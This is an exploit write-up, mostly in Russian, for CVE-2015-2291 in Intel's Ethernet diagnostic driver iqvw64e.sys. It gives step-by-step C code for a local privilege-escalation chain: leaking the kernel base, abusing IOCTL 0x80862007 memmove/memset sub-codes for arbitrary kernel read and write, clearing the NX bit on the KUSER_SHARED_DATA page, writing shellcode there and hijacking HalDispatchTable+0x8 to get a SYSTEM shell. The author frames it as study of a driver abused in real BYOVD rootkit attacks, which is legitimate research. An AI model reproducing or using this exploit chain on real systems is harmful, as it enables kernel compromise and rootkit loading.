
(1) IQVW32.sys до версии 1.3.1.0 и (2) IQVW64.sys до версии 1.3.1.0 в драйвере диагностики Ethernet от Intel для Windows позволяют локальным пользователям вызвать отказ в обслуживании или, возможно, выполнить произвольный код с привилегиями ядра через специально сформированные IOCTL-вызовы (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F или (d) 0x80862007.
(1) IQVW32.sys до версии 1.3.1.0 и (2) IQVW64.sys до версии 1.3.1.0 в драйвере диагностики Ethernet для Windows от Intel позволяют локальным пользователям вызвать отказ в обслуживании или, возможно, выполнить произвольный код с привилегиями ядра через специально сформированный вызов IOCTL (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F или (d) 0x80862007.
Этот репозиторий содержит описание данной уязвимости, а также эксплойты proof-of-concept, работающие на 64-битных Windows 7 SP1 и Windows 10 20H2. Файл драйвера можно найти в каталоге Driver Files. Если вы обнаружите опечатки в описании/статье или захотите увидеть более подробное описание некоторых деталей, создайте тикет в репозитории! Я исправлю их как можно скорее.
Мотивация написания эксплойта именно для этого драйвера устройства заключается исключительно в том, что в настоящее время он используется в реальных атаках для загрузки неподписанного руткита злоумышленника. Используя метод BYOVD (Bring Your Own Vulnerable Driver), вредоносное ПО может проверить, работает ли оно с повышенными привилегиями, сбросить копию уязвимого драйвера устройства, загрузить драйвер, а затем использовать его для получения выполнения кода в режиме ядра для загрузки руткита. Мне не удалось успешно реверс-инжинирить образец вредоносного ПО, поэтому я взял на себя задачу создать эксплойт.
Образцы, обнаруженные в реальных атаках: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
Драйвер устройства, а именно iqvw64e.sys, предназначен для выполнения диагностики сетевых адаптеров. Он позволяет компоненту пользовательского режима взаимодействовать с драйвером устройства для выполнения множества процедур ядра, предоставляя несколько кодов управления вводом-выводом (также известных как IOCTL), при этом «подчиненный» код управления вводом-выводом передается во входном буфере пользователя во время взаимодействия. Код управления вводом-выводом, который будет использоваться для достижения уязвимого кодового пути, — 0x80862007. Помимо основного кода управления, в этом анализе будут рассмотрены упомянутые «подчиненные» коды управления вводом-выводом: код 0x33 для вызова функции memmove и код 0x30 для вызова функции memset по соответствующим путям кода. Это описание не будет охватывать детали процедуры DriverEntry, так как на странице документации Microsoft есть достаточно информации для подробного объяснения.
Для начала мы хотим узнать, как вообще можно взаимодействовать с этим конкретным драйвером устройства. Наиболее распространенный способ связи с драйвером устройства — использование функции с именем DeviceIoControl. Общая идея этой функции заключается в том, что мы можем передать действительный дескриптор драйвера, созданный с помощью CreateFileA, передать код управления вводом-выводом, соответствующий нужной нам процедуре ядра, передать структуру (или буфер), которую она ожидает, и она вернет данные в наш выходной буфер. Хотя такие процедуры иногда могут быть необходимы (например, для доступа к регистрам, специфичным для модели в целях разгона), они также представляют серьезную угрозу безопасности. Но... как?
В случае CVE-2015-2291 уязвимость может быть запущена непривилегированным пользователем. Из-за отсутствия проверок санитизации и того, что для эксплуатации уязвимости не требуются права администратора, это представляет угрозу безопасности. Под этими двумя недостатками скрывается возможность полного управления вызовами функций memset и memmove, предоставляемыми интерфейсом кодов управления вводом-выводом. Помните упомянутую ранее функцию DeviceIoControl, как мы можем передать структуру, которая будет использоваться в процедуре ядра? Вот как это всё сходится воедино.
Давайте сделаем шаг назад. Сначала мы хотим получить дескриптор драйвера, связанный с уязвимым драйвером устройства. Однако даже до этого нам нужно найти соответствующий именованный объект устройства. Они предоставляются пользовательскому пространству через символическую ссылку (обычно жестко заданную), которую можно найти с помощью WinObj, часть набора [SysInternals]. Хотя мы могли бы использовать утилиту дампа строк для извлечения символической ссылки или альтернативно выполнить реверс-инжиниринг драйвера устройства, я просто загрузил драйвер устройства и нашел его с помощью WinObj. Найденная символическая ссылка, относящаяся к драйверу устройства, — \\.\GLOBALROOT\Device\Nal. Чтобы получить дескриптор драйвера, нам нужно вызвать функцию CreateFileA и получить от нее действительный дескриптор драйвера для использования позже в процессе. Код для этого процесса выглядит следующим образом:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
Мы будем использовать дескриптор драйвера позже в процессе эксплуатации. А пока начнем подготовку нашего эксплойта. Следующим шагом будет загрузка библиотеки `ntdll.dll` с помощью функции [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) для получения [дескриптора модуля](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types), чтобы мы могли динамически найти необходимые функции. Хотя библиотека `ntdll.dll` уже может быть загружена в наш процесс, нам всё равно необходимо получить дескриптор этой библиотеки, который мы сможем использовать. Функции, которые нам нужны для эксплуатации: [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) для утечки базового адреса NT-ядра (со средним уровнем целостности процесса) для использования на более поздних этапах эксплуатации, и функция [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) для запуска уязвимости. Что касается кода для загрузки библиотеки `ntdll.dll`, он выглядит следующим образом:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
Теперь, когда мы получили дескриптор библиотеки, мы начнем с поиска функции NtQueryIntervalProfile. Для начала нам потребуется определение типа для этой функции, так как она недокументирована. Хотя вы можете найти определение типа в интернете, я привел его здесь для упрощения доступа:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
Чтобы использовать эту функцию, нам также потребуется объявить переменную (локальную или глобальную, на ваше усмотрение) с типом `NtQueryIntervalProfile`. Теперь как превратить эту переменную в настоящую функцию? Для этого мы будем использовать функцию с именем [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). Передавая дескриптор модуля, который мы хотим найти (первый параметр), и имя функции (второй параметр), мы можем найти любую нужную нам функцию в модуле и получить указатель на эту функцию! Для обработки этой информации предоставлен код.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
Причина, по которой динамическая загрузка функций и возможность их использования работают, заключается в том, что сами функции являются указателями на исполняемый код. Фактическое тело функции — это код, который будет выполнен.
Теперь, когда мы разрешили указатель на функцию NtQueryIntervalProfile, нам всё ещё нужно получить адрес функции NtQuerySystemInformation. Как и раньше, нам нужно определение типа для этой функции, а также потребуется объявить переменную для её вызова. Как и ранее, я предоставил определение типа для удобства доступа.```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
И, аналогично предыдущему, нам нужно найти функцию. Единственное отличие между предыдущим вызовом `GetProcAddress` и этим — это функция, которую мы ищем. Мы можем скопировать функцию и изменить второй параметр для поиска нашей второй функции. После написания кода у нас должно получиться что-то подобное:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
Отлично! Мы нашли все необходимые нам отсутствующие функции. Теперь нам нужно утечь базовый адрес ядра NT. С помощью NtQuerySystemInformation мы можем создать запрос, который вернёт базовые адреса и другую информацию обо всех текущих загруженных драйверах устройств. Первый параметр функции NtQuerySystemInformation — это перечисление, причём то, которое не задокументировано публично. Это перечисление SystemModuleInformation, которому соответствует значение 0xB. Затем нам нужно передать указатель на одну из возвращаемых структур. Необходимые структуры и перечисления приведены ниже, предоставленные FuzzySecurity (@b33f):```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
Но подождите, это ещё не всё! Нам нужно будет указать размер структуры для выделения. Поскольку размер структуры варьируется в зависимости от количества драйверов устройств, информацию о которых нужно получить, нам потребуется вызвать эту функцию дважды; первый вызов функции будет для получения ожидаемого размера структуры, а второй вызов — для получения информации и её сохранения в нашей структуре. Чтобы получить размер, используйте вышеупомянутое перечисление `SystemModuleInformation` в качестве первого параметра, передайте указатель на переменную, которая будет хранить размер структуры, и передайте `0` (или `NULL`) для остальных оставшихся параметров. Код должен выглядеть следующим образом:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
Легко! Мы успешно получили размер ожидаемой структуры. Теперь нам нужно выделить память для переменной, которая будет хранить информацию. Используя функцию с именем VirtualAlloc, мы можем выделить память в стеке по любому указанному нами адресу, любого нужного размера, с собственным набором прав доступа, и получить указатель на эту память. Для наших целей нам не нужно выделять эту память по фиксированному адресу, поэтому мы передадим 0, чтобы позволить менеджеру памяти выбрать место в памяти для нас. Кроме того, нам также нужно будет выделить блок памяти в стеке размером, возвращённым NtQuerySystemInformation, именно поэтому мы сохранили это значение. Что касается типа выделения и параметров защиты, просто используйте общие аргументы, показанные в коде ниже.```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Теперь, когда мы выделили память в стеке для возвращаемой структуры, мы можем запросить информацию о системных модулях и получить структуру, содержащую информацию о каждом загруженном драйвере устройства. Для этого мы можем повторно использовать наш вызов функции `NtQuerySystemInformation` из предыдущего шага и передать указатель на структуру (второй параметр) и размер структуры (третий параметр). Теперь у вас есть что-то подобное?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
Что ж, я надеюсь, у вас есть что-то похожее. Всё, что нам осталось сделать для утечки базового адреса ядра NT — это опросить нашу структуру! В данном случае вам не нужно сравнивать строки с именем драйвера, так как информация о драйвере ядра NT всегда находится по индексу 0 в этой структуре. Чтобы получить базовый адрес драйвера, просто выведите, сохраните или верните значение поля структуры ImageBaseAddress. Также хорошей практикой является проверка того, что указатель не равен NULL, перед его использованием.```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
Мы успешно вернули базовый адрес ядра. Теперь остался ещё один шаг перед тем, как мы начнём процесс эксплуатации этой уязвимости. Нам нужно создать указатель `QWORD` (64-битное целое число), который будет хранить нашу [PTE (запись таблицы страниц)](https://en.wikipedia.org/wiki/Page_table) и выделить под него стековую память с помощью `VirtualAlloc`. PTE будут рассмотрены позже в этой статье.
Как показано ранее, мы будем использовать `VirtualAlloc` для выделения памяти и получения указателя на блок памяти. Код, используемый в моём эксплойте, приведён ниже:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
Now that the last step of the set up process is finished, let's begin the exploitation process!
As mentioned in the earlier parts of the paper, the IO control code that we want to use is IOCTL 0x80862007. But, how do we pass in the "sub" IOCTLs?

A pointer to our user-land input that we pass to the device driver is stored in the rcx register. As we can see in this figure, we noticed that it is simply dereferencing the value at the first QWORD value in the structure that we will pass in. Then, it performs a switch-case on the value obtained.

Scrolling through the decompiled psuedo-code, we find two routines that allow us to control all three values of memset and memove respectively. By passing in a value of 0x30 as the first QWORD in the structure, we can hit the memset code-path. Alternatively, by passing in a value of 0x33 as the first QWORD in the structure, we hit the memmove code-path instead. These two code-paths are depicted below respectively.

From looking at the input buffer's offsets used, we were able to create structures for both of these functions to pass in, for easier reading. Take note that there is a QWORD field that is being used as padding. While we will not set its value to anything, we need this field in order for our structure definition to be correct. Additionally, take note of the parameters used in the calls to these routines. During the reverse engineering process, we learned that the parameters passed in are in the correct order with their respective function definitions. Figures indicating this have also been provided below.
The memset code-path input structure:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
Структура ввода для кодового пути `memmove`:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

После быстрого анализа стало ясно, что это предоставит нам примитив произвольного чтения и записи в ядро. Это идеально для эксплуатации в Windows 10, так как нам не нужно преобразовывать примитивы эксплойта к произвольным чтению и записи, что позволяет эксплуатировать эту уязвимость с лёгкостью.
Для начала мы будем использовать наш примитив эксплойта memmove, чтобы прочитать функцию ядра nt!MiGetPteAddress+0x13. По этому смещению в функции мы находим произвольное значение. В сочетании с другими операциями, которые можно выполнить в нашем эксплойте, мы можем вычислить базовый адрес всех PTE! Помните переменную pte_address, которую мы создали ранее? Или вы помните утечку базового адреса ядра NT? Вся предшествующая подготовка эксплойта, описанная ранее, сделала это возможным. Код для вычисления базового адреса всех PTE показан ниже. Обратите внимание на адрес KUSER_SHARED_DATA, так как в Windows 10 20H2 это была одна из последних областей памяти в ядре, не затронутых ASLR (рандомизацией адресного пространства).
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
Теперь, когда мы вычислили базовый адрес PTE нашей целевой страницы, необходимо разыменовать этот адрес и получить биты, используемые записью страницы. Эти данные вскоре понадобятся нам для изменения этой области памяти на чтение, запись и исполнение. Мы изменили адрес `source` в нашей структуре, чтобы он указывал на наш адрес PTE, и изменили поле `destination`, чтобы оно указывало на стековую переменную для хранения полученных битов, не изменяя никаких других полей входной структуры.```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
Теперь, когда у нас есть битовое содержимое фактической PTE, мы хотим пометить её как исполняемую без переключения других битов. Для этого мы хотим очистить старший бит в полученном значении, чтобы удалить бит NX (no execute). К счастью, мы можем использовать побитовую операцию AND над сохранённым значением, применив AND со значением 0x0FFFFFFFFFFFFFFF, чтобы выполнить эту задачу. Затем мы запустим запись в адрес ядра с помощью нашего примитива произвольной записи, чтобы перезаписать значение, хранящееся по адресу PTE. Что касается нашей структуры, мы изменим поле source структуры, чтобы оно указывало на наши сохранённые биты, и изменим destination так, чтобы оно указывало обратно на адрес PTE. Это, по сути, противоположный порядок получения адреса PTE. Это демонстрируется приведённым ниже фрагментом кода.```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
Прежде чем продолжить, нам нужно убедиться, что содержимое PTE было перезаписано до продолжения. Если перезапись бита не удастся, произойдет крах машины (с проверкой `KERNEL_SECURITY_CHECK_FAILURE` или эквивалентной проверкой ошибок). Для проверки мы воспользуемся командой `!pte` в [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools), чтобы убедиться, что перезапись сработала как задумано.

При изучении битов PTE мы видим, что NX-бит больше не присутствует! Это означает, что область памяти `KUSER_SHARED_DATA` теперь является исполняемой. Поскольку мы имеем дело с этой областью памяти, имеет смысл разместить полезную нагрузку ядра где-то здесь. После анализа фрагмента памяти мы выяснили, что смещение `0x50` от базового адреса области `KUSER_SHARED_DATA` является свободной памятью. Это идеальное место для размещения нашей полезной нагрузки!

Помните наш примитив записи `memset` из предыдущего? Используя этот примитив, мы можем проходить по всем байтам в нашей полезной нагрузке ядра и записывать каждый отдельный байт в эту область памяти с помощью `memset`. Хотя возможно использовать `memmove` для записи полезной нагрузки в это место, мы хотели использовать оба примитива, чтобы показать, как можно злоупотребить одним или другим, особенно при полном контроле. Мы будем использовать код перехода `0x30`, чтобы попасть на путь кода `memset`, с длиной `0x1` байт, который должен быть записан. `destination` должен быть увеличен на единицу, чтобы указывать на следующий байт свободной памяти, вместе со смещением нашей полезной нагрузки ядра. Этот процесс может быть продемонстрирован с помощью приведенного ниже цикла `for`.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
While triggering a vulnerability numerous times is a risk for crashing the machine, this is an exception, due to the overall stability of the device driver and its (mis)used routines. For our next step, we want to retrieve the original function pointer stored at nt!HalDispatchTable+0x8. This retrieved function pointer will be used in the recovery step, and will prevent our machine from randomly crashing due to accessing an incorrect function pointer. While this step is not too important on Windows 7, as our payload execution function is not called frequently, its usage has increased in the later builds of Windows 10. As always, we will store the returned pointer to a local variable on our stack by abusing our read primitive once more! We will also be using our leaked NT Kernel base address once again, this time pairing it with an offset to the nt!HalDispatchTable with an additional offset of 0x8.```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
Всего лишь ещё несколько шагов! После того как мы успешно сохранили оригинальный указатель в диспетчерской таблице, теперь настало время перезаписать тот же указатель нашим адресом `KUSER_SHARED_DATA+0x50`, который будет равен `0xFFFFF78000000050`. На этом этапе всё готово, и мы готовы получить root-доступ к системе! Просто измените источник перезаписи указателя на то, что ранее было `destination`, и передайте указатель на нашу локальную переменную, содержащую наш адрес для поля `source`.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
Функция NtQueryIntervalProfile известна тем, что использует указатели из таблицы диспетчеризации HAL, в частности по смещению 0x8, и по этой причине часто используется в атаках. Благодаря возможности произвольной записи в память ядра это один из самых простых методов эксплуатации! На этом этапе нашего эксплойта мы имеем привилегии nt authority\system, но перед запуском нашей прекрасной оболочки мы хотим сделать последний шаг: очистку и восстановление.
Это будет объединено в один шаг, так как оба действия просты. Мы используем оба примитива произвольной записи в последний раз. Для начала мы удалим весь наш шелл-код из пространства ядра. Это простая задача, так как мы можем использовать тот же цикл for для перебора по всей длине нашей полезной нагрузки. На этот раз мы будем перезаписывать память нулями, точно так же, как это было до выполнения нашего эксплойта.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
Я не думаю, что мне нужно объяснять итерации цикла `for` дальше. Последним шагом в процессе восстановления (и эксплуатации в целом) является восстановление исходного указателя на функцию по адресу `nt!HalDispatchTable+0x8`. Используя нашу структуру данных `memmove`, которая изначально использовалась для перезаписи одного из множества указателей в `nt!HalDispatchTable`, все, что нам нужно сделать, — это изменить поле `source`, чтобы передать указатель на исходный адрес. Как и раньше, я не думаю, что мне нужно объяснять эту часть дальше ($1, если вы сможете подсчитать, сколько раз я повторился!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
А теперь, пришло время повеселиться. Запустите эту системную оболочку!

В целом, это была очень забавная уязвимость для эксплуатации. Процесс эксплуатации оказался не таким сложным, как я думал. Он также позволил мне лучше освоить манипуляции с PTE и создать мой первый эксплуатационный код для локального повышения привилегий, который не злоупотребляет HackSys Extreme Vulnerable Driver! Надеюсь скоро увидеть вас, ребята.